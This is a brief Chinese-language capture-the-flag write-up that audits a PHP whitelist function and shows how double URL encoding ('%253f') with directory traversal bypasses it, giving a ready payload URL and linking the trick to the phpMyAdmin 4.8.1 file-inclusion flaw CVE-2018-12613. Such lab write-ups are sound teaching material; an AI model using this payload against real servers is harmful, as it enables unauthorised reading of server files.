文章目录
前言
在request请求当中就会被url解码一次,这就是接下来为什么会需要两次编码绕过
WP
打开靶机看到一个滑稽图片,审查元素发现有个source.php
访问发现需要我们进行代码审计,下面对代码进行分析
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明一个白名单数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或page中值非字符串
echo "you can't see it";
return false;//返回false
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true(我们后面会对其进行绕过)
}
$_page = mb_substr(//该代码表示要截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page.'?', '?')
);
if (in_array($_page, $whitelist)) {
return true;//返回true(我们后面会对其进行绕过)
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;//返回true(这里必须返回了,不然就是false)
}
echo "you can't see it";
return false;
}
}
若以上四个if语句均未返回值,则返回false
再看最下面的执行,要求一个if语句要求传入的file变量:
- 非空
- 类型为字符串
- 能够通过checkFile()函数校验
- 同时满足以上三个要求即可包含file中的文件,否则打印滑稽表情
因此我们可以构造payload:
http://***:***/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
CVE-2018-12613
本来想自己写的但是发现网上别人写的很清楚就不污染SEO环境了
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)